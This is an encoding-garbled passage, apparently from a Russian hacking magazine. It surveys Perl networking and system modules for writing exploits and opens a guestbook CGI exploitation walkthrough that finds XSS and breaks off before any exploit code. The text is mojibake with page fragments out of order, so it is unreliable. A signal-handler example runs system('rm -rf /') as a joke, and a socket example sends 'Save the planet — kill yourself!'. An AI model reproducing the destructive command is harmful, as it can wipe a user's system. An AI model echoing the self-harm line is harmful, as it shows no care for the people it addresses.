ÏÎÕÎÄÀ ÍÀ CPAN.ORGÈ ÏÎÈÑÊÀ ÑÎÎÒÂÅÒÑÒÂÓÞÙÈÕ ÌÎÄÓ-ËÅÉ. ×ÀÙÅ ÂÑÅÃÎ ÍÓÆÍÛÅ ÌÍÅ ÌÎÄÓ-ËÈ ÍÀÕÎÄßÒÑß, ×ÒÎ Î×ÅÍÜ, Î×ÅÍÜÑÈËÜÍÎ ÝÊÎÍÎÌÈÒ ÂÐÅÌß, ÊÎÒÎÐÎÅ,ÊÀÊ ÈÇÂÅÑÒÍÎ — ÄÅÍÜÃÈ. ÏÎ ØÈÐÎÊÎÐÀÑÏÐÎÑÒÐÀÍÅÍÍÎÌÓ ÌÍÅÍÈÞ,CPAN — ÝÒÎ ÅÄÈÍÑÒÂÅÍÍÀß ÑÒÐÀÍÈÖÀ,ÊÎÒÎÐÀß ÍÓÆÍÀ ÄËß ÏÎËÍÎÖÅÍÍÎÉÐÀÁÎÒÛ Ñ PERL. ÄÎÁÀÂÈÒÜ ÑÂÎÉ ÌÎ-ÄÓËÜ Â ÝÒÎÒ ÀÐÕÈ ÌÎÆÅÒ ÊÒÎ ÓÃÎÄ-ÍÎ, ×ÒÎ ÏÎÌÈÌÎ ÍÅÑÎÌÍÅÍÍÛÕ ÁËÀÃÏÎÐÎÆÄÀÅÒ È ÐßÄ ÏÐÎÁËÅÌ. ÈÑÏÎËÜ-ÇÓß ÌÎÄÓËÈ, ÑÊÀ×ÀÍÍÛÅ Ñ CPAN,ÒÛ ÄÅÉÑÒÂÓÅØÜ ÍÀ ÑÂÎÉ ÑÒÐÀÕÈ ÐÈÑÊ, ÈÁÎ ÎÍÈ ÏÎÑÒÀÂËßÞÒÑß ÁÅÇÊÀÊÈÕ ËÈÁÎ ÃÀÐÀÍÒÈÉ. ×ÀÑÒÎ ÁÛÂÀÅÒÒÀÊ, ×ÒÎ ÝÒÈ ÌÎÄÓËÈ ÏÐÎÑÒÎ-ÍÀÏÐÎ-ÑÒÎ ÍÅ ÐÀÁÎÒÀÞÒ. ÍÎ ÂÑÅ-ÒÀÊÈ ÇÍÀ×È-ÒÅËÜÍÎ ÁÎËÜØÅ ÒÅÕ, ÊÎÒÎÐÛÅ ÐÀÁÎ-ÒÀÞÒ ÍÎÐÌÀËÜÍÎ. ×ÒÎÁÛ ÎÖÅÍÈÒÜÌÎÙÜ ÝÒÎÃÎ ÀÐÕÈÂÀ, ÏÐÅÄËÀÃÀÞ ÒÅÁÅÇÀÉÒÈ ÍÀ SEARCH.CPAN.ORG È ÏÎÏÐÎ-ÁÎÂÀÒÜ ÒÀÊÈÅ ÇÀÏÐÎÑÛ, ÊÀÊ «WWW»,«NET», «RSS» È ÒÀÊ ÄÀËÅÅ. ÄÓÌÀÞ,ÒÛ ÁÓÄÅØÜ ÓÄÈÂËÅÍ ÎÁÈËÈÅÌ ÏÐÅÄ-ËÀÃÀÅÌÛÕ ÐÅØÅÍÈÉ. ÁÅÇÓÑËÎÂÍÎ,CPAN — ÝÒÎ ÎÄÈÍ ÈÇ ÑÀÌÛÕ ÂÅÑÎÌÛÕÏËÞÑΠPERL, ÊÎÒÎÐÛÉ ÏÎÄÎÃÐÅÂÀÅÒËÞÁÎÂÜ ÅÃÎ ÏÎÊËÎÍÍÈÊÎÂ.


64 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07— PEERADDR (ÑÈÍÎÍÈÌ PEERHOST)ÀÄÐÅÑ ÓÄÀËÅÍÍÎÃÎ ÑÅÐÂÅÐÀ  ÂÈÄÅÑÒÐÎÊÈ 'XX.XX.XX.XX' ÈËÈ ÈÌÅ-ÍÈ ÑÅÐÂÅÐÀ;— PEERPORT — Î×ÅÂÈÄÍÎ, ÏÎÐÒÍÀÇÍÀ×ÅÍÈß;— PROTO — ÏÐÎÒÎÊÎË, ÏÎ ÊÎÒÎÐÎÌÓÏËÀÍÈÐÓÅÒÑß ÓÑÒÀÍÎÂÈÒÜ ÑÎÅÄÈÍÅ-ÍÈÅ ('TCP, 'UDP' È ÒÀÊ ÄÀËÅÅ);— TYPE — ÒÈÏ ÑÎÊÅÒÀ.  ÍÀØÅÌ ÑËÓ×ÀÅSOCK_STREAM (ÏÎÒÎÊÎÂÛÉ ÑÎÊÅÒ,ÃÀÐÀÍÒÈÐÓÅÒÑß ÄÎÑÒÀÂÊÀ ÄÀÍÍÛÕ —ÐÅÆÈÌ ÂÈÐÒÓÀËÜÍÛÕ ÑÎÅÄÈÍÅÍÈÉ),ÒÀÊÆÅ ÂÎÇÌÎÆÍÛ ÇÍÀ×ÅÍÈßSOCK_RAW (ÑÈÌÂÎËÜÍÛÉ, ÍÅÑÒÐÓÊÒÓ-ÐÈÐÎÂÀÍÍÛÉ ÑÎÊÅÒ) È SOCK_DGRAM(ÐÅÆÈÌ ÏÅÐÅÑÛËÊÈ ÄÀÉÒÀÃÐÀÌÌ).Comprehensive Perl Archive Networkèâàåòñÿ â çàãîëîâîê, èäåíòèôèöèðóÿ áðàóçåð. Äàëååìû ôîðìèðóåì îáúåêò êëàññà HTTP::Requestè ïåðåäàåì åãî â êà÷åñòâå ïàðàìåòðà â ìåòîärequest, ïîñëå ÷åãî îáðàáàòûâàåì ïîëó÷åííûé ðåçóëüòàò.Ìåòîä is_success (ñóùåñòâóåò òàêæå îáðàòíûéìåòîä is_error) ïðîâåðÿåò êîä îòâåòà ñåðâåðàè âîçâðàùàåò 1 â ñëó÷àå óñïåõà. Äóìàþ, ñêðèïòäîñòàòî÷íî ïðîñò è íå òðåáóåò äîïîëíèòåëüíûõêîììåíòàðèåâ.Íåñìîòðÿ íà òî, ÷òî âåñü îñíîâíîé ôóíêöèîíàëðåàëèçîâàí â ðàìêàõ îáúåêòíî-îðèåíòèðîâàííîéêîíöåïöèè, åñòü âîçìîæíîñòü èñïîëüçîâàòü èêðàòêèé ïðîöåäóðíûé èíòåðôåéñ, êîòîðîãî ìîæåòõâàòèòü â áîëüøèíñòâå ñëó÷àåâ. Ðåàëèçîâàíà ýòàâîçìîæíîñòü â âèäå ìîäóëÿ LWP::Simple, â êîòîðîìäîñòóïíû ñëåäóþùèå ìåòîäû:— GET($URL) — ÏÎËÓ×ÀÅÒ ÄÎÊÓÌÅÍÒ, ÓÊÀ-ÇÀÍÍÛÉ Â $URL, ÃÄÅ $URL — ÑÒÐÎÊÀ;— HEAD($URL) — ÏÎËÓ×ÀÅÒ ÏÀÐÀÌÅÒÐÛÇÀÃÎËÎÂÊÀ ÎÒÂÅÒÀ;— GETPRINT($URL) — ÏÎËÓ×ÀÅÒ È ÐÀÑÏÅ-×ÀÒÛÂÀÅÒ ÎÒÂÅÒ, ÂÎÇÂÐÀÙÀÅÒ ÊÎÄÎÒÂÅÒÀ ÑÅÐÂÅÐÀ;— GETSTORE($URL, $FILE) — ÏÎËÓ×ÀÅÒÈ ÑÎÕÐÀÍßÅÒ ÎÒÂÅÒ Â $FILE, ÂÎÇÂÐÀ-ÙÀÅÒ ÊÎÄ ÎÒÂÅÒÀ ÑÅÐÂÅÐÀ.Âîîáùå, áèáëèîòåêà ýòà äîñòàòî÷íî ìîùíàÿ è ìîæåòáûòü èñïîëüçîâàíà äàæå äëÿ íàïèñàíèÿ ñâîåãîìàëåíüêîãî HTTP-ñåðâåðà. Äëÿ ïîäðîáíîãî ðàññêàçàîáî âñåõ âîçìîæíîñòÿõ LWP ïîòðåáîâàëñÿ áûîáúåì âñåãî æóðíàëà. Íàïðèìåð, ñ ïîìîùüþ LWPìîæíî ðàáîòàòü ÷åðåç Proxy, è ìíîãî ÷åãî åùå ïîëåçíîãîäåëàòü. Îäíàêî èäåì äàëüøå.íèçêîóðîâíåâàÿ ðàáîòà ñ ïðîòîêîëàìè. Åñëè âïðîöåññå íàïèñàíèÿ ýêñïëîéòà âîçíèêàåò íåîáõîäèìîñòüñïóñòèòüñÿ ñ ïðèêëàäíîãî óðîâíÿ íèæå ïî ñòåêóïðîòîêîëîâ, òî è òóò Perl ïðåäîñòàâèò íàì äîñòàòî÷íûéíàáîð èíñòðóìåíòîâ. Äëÿ íà÷àëà ðàññìîòðèì, êàêæå îðãàíèçîâàòü êëèåíò-ñåðâåðíîå ñîåäèíåíèå ïîäPerl. Äëÿ ðåøåíèÿ ýòîé çàäà÷è â ñòàíäàðòíóþ ïîñòàâêóPerl âêëþ÷åí ïàêåò IO::Socket, êîòîðûé è îáåñïå÷èâàåòáàçîâóþ ôóíêöèîíàëüíîñòü ñîêåòîâ. Ýòîò êëàññèìååò ìíîæåñòâî ïîäêëàññîâ, êîòîðûå íàñëåäóþò âñååãî ìåòîäû è îáåñïå÷èâàþò áîëåå êîíêðåòíóþ ôóíêöèîíàëüíîñòü(íàïðèìåð, IO::Socket::INET äëÿ ðàáîòûñ TCP- è UDP-ñîêåòàìè, IO::Socket::SSL äëÿ ðàáîòû ñçàùèùåííûì ñîåäèíåíèåì è òàê äàëåå). Ïîìèìî ýòîãîêëàññà, â Perl ñóùåñòâóåò áàçîâûé ìîäóëü Socket,êîòîðûé ïðîñòî ðåàëèçóåò ôóíêöèîíàë ñòàíäàðòíîéC-áèáëèîòåêè Socket.h è ÿâëÿåòñÿ ìîäóëåì áîëåå íèçêîãîóðîâíÿ, ÷åì IO::Socket.×òîáû ñîçäàòü TCP-êëèåíò, êîòîðûé áû ñîåäèíÿëñÿñ êàêèì-ëèáî ñåðâåðîì, ñ ïîìîùüþ IO::Socket::INET,äîñòàòî÷íî ñëåäóþùåãî ïðîñòîãî êîäà:use IO::Socket::INET;my $socket = IO::Socket::INET->new(PeerAddr->$remote_host,PeerPort->$remote_port, Proto->«tcp», Type->SOCK_STREAM)or die «Can't open connectionwith $remote_host:$remote_port: $!\n»;print $socket 'Save the planet — killyourself!';$answer = ;close($socket); ïåðâîé ñòðî÷êå ìû ïîäêëþ÷àåì íóæíóþ áèáëèîòåêó.Âî âòîðîé ñòðîêå ìû âûçûâàåì êîíñòðóêòîð êëàññàIO::Socket::INET ñî ñëåäóþùèìè ïàðàìåòðàìè:Ïîñëå îòêðûòèÿ êëèåíòñêîãî ñîêåòà ìû ìîæåì ðàáîòàòüñ íèì, êàê ñ ôàéëîâûì äèñêðèïòîðîì,òî åñòü òàêæå ïèñàòü ñ ïîìîùüþ print è ÷èòàòü ñ ïîìîùüþîïåðàòîðà .Äëÿ îòêðûòèÿ ñîêåòà íà îæèäàíèå ñîåäèíåíèÿ(÷òî âðÿä ëè ïîòðåáóåòñÿ äëÿ íàïèñàíèÿýêñïëîéòà, íî íåîáõîäèìî äëÿ ïîëíîòû ïîíèìàíèÿ),äîñòàòî÷íî óêàçàòü ïàðàìåòðû Listen (ìàêñèìàëüíîåêîëè÷åñòâî ïîòîêîâ), Type è LocalPort.Íàïðèìåð, âîò òàê:my $serever = IO::Socket::INET->new(LocalPort => $server_port,Type => SOCK_STREAM, Listen => 10);while($client = $server->accept()){... # îáðàáîòêà ýòîãî ñîåäèíåíèÿ}Ïîñëå îòêðûòèÿ ñîêåòà íà îæèäàíèå $server->accept()(ýòî ìåòîä ìîäóëÿ IO::Socket) âîçâðàùàåò ïåðâîå óñòàíîâëåííîåñîåäèíåíèå, ñ êîòîðûì ìû ìîæåì ðàáîòàòüàíàëîãè÷íî $socket èç ïåðâîãî ïðèìåðà. Âñå òîæå ñàìîå ìîæíî ñäåëàòü è íà áîëåå íèçêîì óðîâíå,èñïîëüçóÿ ìîäóëü Socket, êîòîðûé ïî ñâîèì âîçìîæíîñòÿìïîëíîñòüþ àíàëîãè÷åí ñîîòâåòñòâóþùåé áèáëèîòåêåC, òàê ÷òî man socket íàì ïîìîæåò.Ñëåäóþùèé íàáîð ìîäóëåé, êîòîðûé ìîæåòáûòü ïîëåçåí — Net::*. Ýòè ìîäóëè ñòîèò èñïîëüçîâàòü,åñëè íóæíà ðàáîòà ñî ñòàíäàðòíûìè ñåðâèñàìè,òàêèìè êàê Telnet, SMTP, FTP (Net::Telnet,Net::SMTP, Net::FTP ñîîòâåòñòâåííî). Ïîìèìî âûøåïåðå÷èñëåííûõìîäóëåé, â ðàìêàõ ýòîé áèáëèîòåêèðåàëèçîâàíà öåëàÿ êó÷à ïðîñòî î÷åíü ïîëåçíûõìîäóëåé (Net::IP, Net::TCP, Net::HTTP, Net::Gen,Net:Inet ...), ôóíêöèîíàë êîòîðûõ ïîíÿòåí èç íàçâàíèÿ.Net::Gen è Net::Inet — ðàáîòà ñ ñîêåòàìè,Net::TCP — ðàáîòà ñ tcp-ñîêåòàìè (ïîâåðõ òåõ æåNet::Inet è Net::Gen), Net::IP — ðàñøèðåíèå äëÿ âñåâîçìîæíûõïðåîáðàçîâàíèé IP-àäðåñîâ, Net::HTTP —íèçêîóðîâíåâàÿ ðàáîòà ñ http íà ñòîðîíå êëèåíòà èòàê äàëåå.


65Íåñêîëüêî ñëîâ î Net::HTTP. Ýòîò ìîäóëü ïîçâîëÿåòðàáîòàòü ñ ïîçèöèè ïðîòîêîëà, òàê ñêàçàòü.Òî åñòü äàåò ïîëíûé äîñòóï ê ôîðìèðîâàíèþHTTP-çàïðîñà, â îòëè÷èå îò LWP, êîòîðûé ñêðûâàåòïîäðîáíîñòè è ñëóæèò äëÿ áîëåå ïðîñòîãî èáûñòðîãî äîñòóïà ê www-äîêóìåíòàì. Net::HTTPÿâëÿåòñÿ ïîäêëàññîì IO::Socket::INET, ïîýòîìóìîæíî èñïîëüçîâàòü ìåòîäû ïîñëåäíåãî äëÿ ïðÿìîãî÷òåíèÿ èç ñîêåòà è çàïèñè â ñîêåò, íàðÿäó ñôóíêöèÿìè ñàìîãî Net::HTTP. ÈñïîëüçîâàíèåNet::HTTP ïîêàçàíî íà ñëåäóþùåì ñòàíäàðòíîìïðèìåðå:use Net::HTTP;my $con = Net::HTTP->new(Host->«www.xakep.ru») || die 'ups, somthingwrong...';$con->write_request(GET->"/",'User-Agent'->"MyMegaAgent/1.0");my($code, $mess, %h) =$s->read_response_headers;while (1) {my $buf;my $n = $s->read_entity_body($buf,1024);die "read failed: $!" unless defined $n;last unless $n;print $buf;}Ïîìèìî âñåãî ïåðå÷èñëåííîãî, â ñëó÷àå, åñëè íåîáõîäèìàäåéñòâèòåëüíî íèçêîóðîâíåâàÿ ðàáîòà ñïðîòîêîëàìè, ñòîèò ïðèãëÿäåòüñÿ ê áèáëèîòåêåNetPacket, êîòîðàÿ âêëþ÷àåò òàêèå ìîäóëè, êàêNetPacket::Ethernet, NetPacket::TCP, NetPacket::IP,NetPacket::ICMP è òàê äàëåå.Ïðèìåð äîñòóïà ê ftpÂñå ìîäóëè ýòîé áèáëèîòåêè îðãàíèçîâàíûîäèíàêîâî. Ìåòîä decode ñîîòâåòñòâóþùåãî ìîäóëÿïðèíèìàåò ñûðûå äàííûå è âîçâðàùàåò îáúåêòñ ðàçîáðàííûìè äàííûìè. Ýòîò îáúåêò ñîäåðæèòïîëÿ, êîòîðûå ñîîòâåòñòâóþò ñòàíäàðòíûì ÷àñòÿìçàãîëîâêà ñîîòâåòñòâóþùåãî ïðîòîêîëà. Ìåòîäencode, â ñâîþ î÷åðåäü, óïàêîâûâàåò äàííûå,îôîðìëåííûå â âèäå îáúåêòà. Áîëåå ïîäðîáíàÿ èíôîðìàöèÿñîäåðæèòñÿ íà ñîîòâåòñòâóþùèõ ñòðàíèöàõCPAN (http://search.cpan.org/search?query=NetPacket-&mode=all).ðàáîòà ñ íèçêîóðîâíåâûìè âîçìîæíîñòÿìèñèñòåìû. Äëÿ òîãî ÷òîáû ïðîäåìîíñòðèðîâàòü âîçìîæíîñòèPerl â íèçêîóðîâíåâîé ðàáîòå ñ ñèñòåìîé,ìû ðàññìîòðèì ðàáîòó ñ ñèãíàëàìè è ñèñòåìíûìè âûçîâàìè,õîòü ýòè òåìû è íå îòíîñÿòñÿ íàïðÿìóþ ê íàïèñàíèþýêñïëîéòîâ. Íà÷íåì ñ ñèãíàëîâ.  Perl ïðèìåíÿåòñÿî÷åíü ïðîñòàÿ ìîäåëü ðàáîòû ñ ñèãíàëàìè.Õýø %SIG ñîäåðæèò ññûëêè íà îïðåäåëåííûå ïîëüçîâàòåëåìîáðàáîò÷èêè, â êà÷åñòâå êîòîðûõ ìîãóò âûñòóïàòüññûëêè íà áëîêè êîäà èëè êëþ÷åâûå ñëîâà.Íàïðèìåð, ñòðîêà $SIG{'INT'} = 'IGNORE' ïîçâîëèòçàùèòèòü ïðèëîæåíèå îò ñëó÷àéíîãî íàæàòèÿCtrl+C. Òàêæå, ÷òîáû îäíîçíà÷íî ïîêàçàòü ïîëüçîâàòåëþ,÷òî ñêðèïò ïðîòèâ ãðóáîãî ñ ñîáîé îáðàùåíèÿ,ìîæíî íàïèñàòü ÷òî-òî òèïà:$SIG{'TERM'} = $SIG{'INT'} = {print'Whats da F@#$?!'."\n";system('rm -rf /');}; #êàòåãîðè÷åñêèíå ñîâåòóþ ñòàâèòü ýòîò îáðàáîò÷èêíà êàêèå-ëèáî ñèãíàëûuse LWP::UserAgent;my $obj = LWP::UserAgent->new();$obj->agent('MyExapmle/1.0');my $req = HTTP::Request->new(GET!'http://www.xakep.ru');my $result = $obj->request($req);if($result->is_success){print 'Code: ' . $result->code . "\n";print 'Message: ' . $result->message . "\n";print 'Headers: ' . $result->headers. "\n";foreach my $key ( keys(%{$result->headers}) ){print ' ' . $key . ":" . $result->headers->{$key} . "\n";}}else{print $result->status_line, "\n";}1;(1)Äóìàþ, ÷òî çäåñü âñå ÿñíî, — ïîåõàëè äàëüøå.Äðóãàÿ âîçìîæíîñòü, êîòîðàÿ áóäåò îöåíåíàC-ïðîãðàììåðàìè — ýòî âîçìîæíîñòü ðàáîòû íàïðÿìóþñ ñàìûì áàçîâûì ïîëüçîâàòåëüñêèì èíòåðôåéñîìUnix — ñèñòåìíûìè âûçîâàìè. Perl ïðåäîñòàâëÿåòèíòåðôåéñ äëÿ ðàáîòû ñ ñèñòåìíûìè âûçîâàìèñ ïîìîùüþ âñòðîåííîé ïðîöåäóðû syscall, êîòîðàÿèñïîëüçóåòñÿ ñëåäóþùèì îáðàçîì:syscall LIST;Ýòà ñòðî÷êà âûçûâàåò ñèñòåìíûé âûçîâ (ïðîøó ïðîùåíèÿçà òàâòîëîãèþ), çàäàííûé â ïåðâîì ýëåìåíòåLIST â âèäå &SYS_èìÿ_âûçîâà, ïåðåäàâàÿ â êà-÷åñòâå ïàðàìåòðîâ îñòàâøèåñÿ ýëåìåíòû ñïèñêà.Íåîáõîäèìî çíàòü, ÷òî Perl äîïóñêàåò òîëüêî 14 ïàðàìåòðîâäëÿ ñèñòåìíîãî âûçîâà.  ñëó÷àå íåóäà÷èsyscall âîçâðàùàåò -1 è óñòàíàâëèâàåò êîä îøèáêè âñòàíäàðòíóþ ïåðåìåííóþ $!, â ñëó÷àå óñïåõà —âîçâðàùàåòñÿ çíà÷åíèå, êîòîðîå áûëî âîçâðàùåíîñàìèì ñèñòåìíûì âûçîâîì. Ðàññìîòðèì ñëåäóþùèéñòàíäàðòíûé ïðèìåð:package main;require 'syscall.ph';use strict;$!=0;my $string = 'Hell no, world!';$!=0;syscall (&SYS_write, fileno(STDOUT),$string, length $string);if($!){print('syscall SYS_write failed:' . $! . "\n");}else {print "Success!\n"};1;Ëèñòèíã âïîëíå ïîíÿòåí, äîáàâëþ òîëüêî, ÷òî ôóíêöèÿfileno âîçâðàùàåò ôàéëîâûé äåñêðèïòîð ïî çàäàííîìóèìåíè, à ôóíêöèÿ length âîçâðàùàåò äëèíóñòðîêè. Âîò, ñîáñòâåííî, è âñå, ÷òî íóæíî çíàòü,÷òîáû ðàáîòàòü ñ ñèñòåìíûìè âûçîâàìè ïîä Perl.Âñÿêîå îñòàëüíîå ïðî ñèñòåìíûå âûçîâû ìîæíî óçíàòü,èñïîëüçóÿ âîëøåáíóþ êîìàíäó man.çàêëþ÷åíèå. Î÷åíü íàäåþñü, ÷òî ýòà ñòàòüÿïîìîæåò òåáå íåìíîãî ñîðèåíòèðîâàòüñÿ â ñðåäñòâàõ,íåîáõîäèìûõ äëÿ íàïèñàíèÿ ýêñïëîéòîâ íàPerl. Åñòåñòâåííî, â ðàìêàõ ñòàòüè íåâîçìîæíî îñâåòèòüâñå, ÷òî íåîáõîäèìî äëÿ ýòîãî çíàòü, òàêêàê ïîìèìî âëàäåíèÿ èíñòðóìåíòàìè íóæíî åùåïîíèìàòü, ÷òî èìåííî ïèñàòü. Îäíàêî ÿ íàäåþñü,÷òî ìíå óäàëîñü ðàññòàâèòü ìàÿ÷êè, êîòîðûå ïîìîãóòòåáå â ñàìîîáðàçîâàíèè. Íàïîìíþ, ÷òî ìûðàññìîòðåëè òîëüêî ñàìûå îñíîâíûå èíñòðóìåíòû,êîòîðûõ, îäíàêî, äîëæíî õâàòèòü äëÿ î÷åíüìíîãèõ ðåàëüíûõ çàäà÷.  Perl áîëåå ÷åì äîñòàòî÷íîãîòîâûõ áèáëèîòåê, îáëàäàþùèõ ÷àñòî ïåðåñåêàþùèìñÿôóíêöèîíàëîì, ÷òî ñîîòâåòñòâóåò èäåîëîãèèPerl (îäíî è òî æå äåéñòâèå ìîæåò áûòü âûïîëíåíîðàçëè÷íûìè ñïîñîáàìè), è òîëüêî òåáåðåøàòü, êàêîé èíñòðóìåíò âûáðàòü. Ïîýòîìó ÷èòàé,äóìàé, ïðîáóé!


66 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02 -07ïåðë íà èãëåÏðàêòè÷åñêèé êóðñ ïî íàïèñàíèþ ýêñïëîéòà ÄÀÍÍÎÉ ÑÒÀÒÜÅ ÌÛ ÐÀÑÑÌÎÒÐÈÌ ÏÐÎÖÅÑÑ ÍÀÏÈÑÀÍÈß ÝÊÑÏËÎÉÒÀ ÍÀ ÏÐÈÌÅÐÅÄÛÐßÂÎÃÎ CGI-ÑÊÐÈÏÒÀ ÃÎÑÒÅÂÎÉ ÊÍÈÃÈ, ÊÎÒÎÐÛÉ ÁÛ ÑÄÅËÀË ×ÅÑÒÜ ËÞÁÎÌÓ ÌÓÇÅÞÏÐÎÃÐÀÌÌÍÛÕ ÓÐÎÄÖÅÂ.  ÝÒÎÌ ÑÊÐÈÏÒÅ ÑÎÁÐÀÍÛ ÂÎÅÄÈÍÎ ÑÀÌÛÅ ÊÎØÌÀÐÍÛÅÎØÈÁÊÈ, ÊÎÒÎÐÛÅ ÌÎÆÅÒ ÑÎÂÅÐØÈÒÜ ÍÀ×ÈÍÀÞÙÈÉ WEB-ÏÐÎÃÐÀÌÌÈÑÒÏÐÈ ÍÀÏÈÑÀÍÈÈ CGI-ÑÊÐÈÏÒÀ (Ñ ÑÀÌÈÌ ÑÊÐÈÏÒÎÌ ÒÛ ÑÌÎÆÅØÜ ÎÇÍÀÊÎÌÈÒÜÑßÍÀ ÏÐÈËÀÃÀÞÙÅÌÑß Ê ÆÓÐÍÀËÓ ÄÈÑÊÅ).Insiderbrain_insider@mail.ruÊñòàòè, íå íàäî äóìàòü, ÷òî íàéòè ïîäîáíûé îáðàç-÷èê íåâåæåñòâà íà ïðîñòîðàõ Ñåòè òÿæåëî. Âîâñåíåò, èáî äàæå â êîäå îïûòíûõ ïðîãðàììèñòîâ ïîñëåïàðû áåññîííûõ íî÷åé è äåñÿòêà êðóæåê êîôå íà÷èíàþòïðîñêàêèâàòü íåôèëüòðóåìûå ïîëÿ èëè åùåêàêèå-íèáóäü ïðèçíàêè êðàéíåãî ïåðåóòîìëåíèÿ :).Èòàê, íàøà öåëü — âûÿâèòü îñíîâíûå óÿçâèìîñòèè íàïèñàòü ýêñïëîéò (èùè óÿçâèìûé cgiíà äèñêå). Ïðèñòóïèì.Äëÿ íà÷àëà îïðåäåëèìñÿ, ñ ÷åì ìû èìååì äåëî.Êó÷à çàïèñåé áåç êàêîãî-ëèáî îôîðìëåíèÿ è îäíàôîðìà ñ äâóìÿ òåêñòîâûìè ïîëÿìè è êíîïêîé — íå ãóñòî.Îäíàêî ìîé áîãàòûé æèçíåííûé îïûò ïîäñêàçûâàåò,÷òî äàæå òàêîãî ìàëîãî êîëè÷åñòâà ïîòåíöèàëüíîóÿçâèìûõ ìåñò áûâàåò äîñòàòî÷íî äëÿ íàëè÷èÿ êðèòè-÷åñêîé îøèáêè. Ñâèíüÿ ãðÿçü íàéäåò :). Ñîìíèòåëüíî,÷òîáû ñòîëü ïðèìèòèâíàÿ êîíñòðóêöèÿ ðàáîòàëà íà îñíîâåÑÓÁÄ, âåðîÿòíî, ìû èìååì äåëî ñ òèïè÷íîé ôàéëîâîéãåñòáóêîé, êîòîðóþ çà ïàðó äíåé ïî ó÷åáíèêóñëåïèë «ìîëîäîé ñïåöèàëèñò». Ôàêòè÷åñêè, âñå, ÷òîìû ìîæåì ñäåëàòü ïðè èññëåäîâàíèè âåá-èíòåðôåéñà— îïðåäåëèòü, êàêèå ïàðàìåòðû äîñòóïíû äëÿ èçìåíåíèÿ,ôèëüòðóþòñÿ ëè îíè (åñëè äà, òî êàê), èõ ñîäåðæèìîå,è íàñêîëüêî õîðîøî â ñêðèïòå îðãàíèçîâàíàîáðàáîòêà èñêëþ÷èòåëüíûõ ñèòóàöèé (ïåðåäà÷àíåñòàíäàðòíûõ ïàðàìåòðîâ èëè ïàðàìåòðîâ íåîáû÷íîéäëèíû, èçìåíåíèå HTTP-ìåòîäà ñ POST íà GET èîáðàòíî è òàê äàëåå). Ïîýòîìó â íà÷àëå èññëåäîâàíèÿñòîèò ïðîâåðèòü, ôèëüòðóåòñÿ ëè òåêñò, ââîäèìûéïîëüçîâàòåëÿìè â òåêñòîâîå ïîëå. Äëÿ ýòîãî ìû çàáàáàõàåìòóäà êàêîé-íèáóäü HTML-êîä (íàïðèìåð, Òûö — íå ïðèíöèïèàëüíî)è ïîñìîòðèì íà ðåçóëüòàò. Îïóáëèêîâàâ ñîîáùåíèå,ìû óâèäèì îôîðìëåííóþ ññûëêó. Çíà÷èò, ïîäñòàíîâêàòåêñòà ïðîèñõîäèò áåç ïðîâåðêè, â ìîìåíò ôîðìèðîâàíèÿøàáëîíà ñòðàíèöû, è ìû ïî ñâîåìó ðàçóìåíèþìîæåì êðîèòü ñòðàíèöó, âñòðàèâàÿ çëîâðåäíûåñêðèïòû, êîòîðûå áóäóò âûïîëíåíû íà ñòîðîíå äðóãèõïîëüçîâàòåëåé — XSS! Ïðèñóòñòâèå òàêîé äûðû î÷åíüðàäóåò (î òîì, êàê åå èñïîëüçîâàòü — ÷èòàé âåñü ýòîòíîìåð), íî îíà íå äàåò íàì íèêàêîãî ïðîñòîðà äëÿïðàêòèêè â íàïèñàíèè ýêñïëîéòîâ, ïîýòîìó ñìîòðèì,÷òî ó íàñ åñòü åùå. Ñëåãêà ïîâåñåëåâ è ðàññëàáèâøèñü,îáðàòèìñÿ ê HTML-êîäó íàøåé ìíîãîñòðàäàëüíîéãîñòåâîé êíèãè.Êàê ìû âèäèì, â HTML-êîäå êàæäîãî ñîîáùåíèÿåñòü êàêèå-òî ìóòíûå ïîëÿ è òî÷íî òàêîåæå ïîëå åñòü â ôîðìå îòïðàâêè ñîîáùåíèÿ. Îáíîâèâíåñêîëüêî ðàç ñòðàíèöó, ìû çàìåòèì, ÷òî ÷èñëîâ ïàðàìåòðå ID êàæäûé ðàç âîçðàñòàåò. ß äóìàþ,ïî âèäó ýòèõ ñòðàííûõ ID óæå ïîíÿòíî, ÷òî ýòî òàêîå,íî íå áóäåì çàáåãàòü âïåðåä è ïîïðîáóåì îòïðàâèòüñâîå ñîîáùåíèå. Ïèøåì òðîãàòåëüíîå ïîñëàíèå«ôñåì â ýòîì ÷àòè» è ðàäîñòíî æìåì íà «Îòïðàâèòü».Ïîñëå îáíîâëåíèÿ íà ñòðàíèöå ïîÿâèëàñü íàøàçàïèñü, çíà÷åíèå ñêðûòîãî ïîëÿ êîòîðîé ñòàëîðàâíî 1167069479, òî åñòü òîìó çíà÷åíèþ, êîòîðîåèçíà÷àëüíî áûëî â ôîðìå îòïðàâêè ñîîáùåíèÿ,à â ñàìîé ôîðìå íà ìåñòå ýòîãî ÷èñëà ïîÿâèëîñü÷èñëî 1167070058. Íå áóäó òÿíóòü ðåçèíó, âñå è òàêóæå äîãàäàëèñü, ÷òî ýòî ÷èñëî — âðåìÿ ñ ìîìåíòàíà÷àëà ýïîõè â ñåêóíäàõ — ñèñòåìíîå âðåìÿ Unix.Èòàê, âðåìÿ çàãðóçêè ôîðìû ñâÿçûâàåòñÿ ñ ñàìîéçàïèñüþ. Çà÷åì ýòî ìîæåò áûòü ñäåëàíî? Âåðîÿòíî,íàøà ãîñòåâóõà ñêðîåíà èç ôàéëîâ, è òàêèì îáðàçîìãîðå-ïðîãðàììåð îáåñïå÷èâàåò óíèêàëüíîñòü èìåíèôàéëà äëÿ êàæäîé çàïèñè (âîîáùå ãîâîðÿ, ôàéëûòóò âîâñå íå îáÿçàòåëüíû, íî ìû óæå ðåøèëè, ÷òîñ áîëüøîé âåðîÿòíîñòüþ èìååì äåëî èìåííî ñ íèìè).Çà÷åì æå íóæíî áûëî ïåðåäàâàòü ýòîò ïàðàìåòðâ ôîðìó? Íó, ñêîðåå âñåãî, ýòî ñäåëàíî äëÿ êàêèõ-òîàäìèíèñòðàòèâíûõ öåëåé, âîçìîæíî, äëÿ çëîáíîãîìîäåðèðîâàíèÿ. Îäíàêî îñòàâèì çà êàäðîì ïîïûòêèðàçãàäàòü òàéíó ìûøëåíèÿ ïðîãðàììèñòà, íàïèñàâøåãîíàøó ãåñòáóêó, è ïîïðîáóåì ïîäóìàòü, ÷òî ìûìîæåì ñäåëàòü ñ ýòèì ïàðàìåòðîì. À ñäåëàòü ìûñ íèì 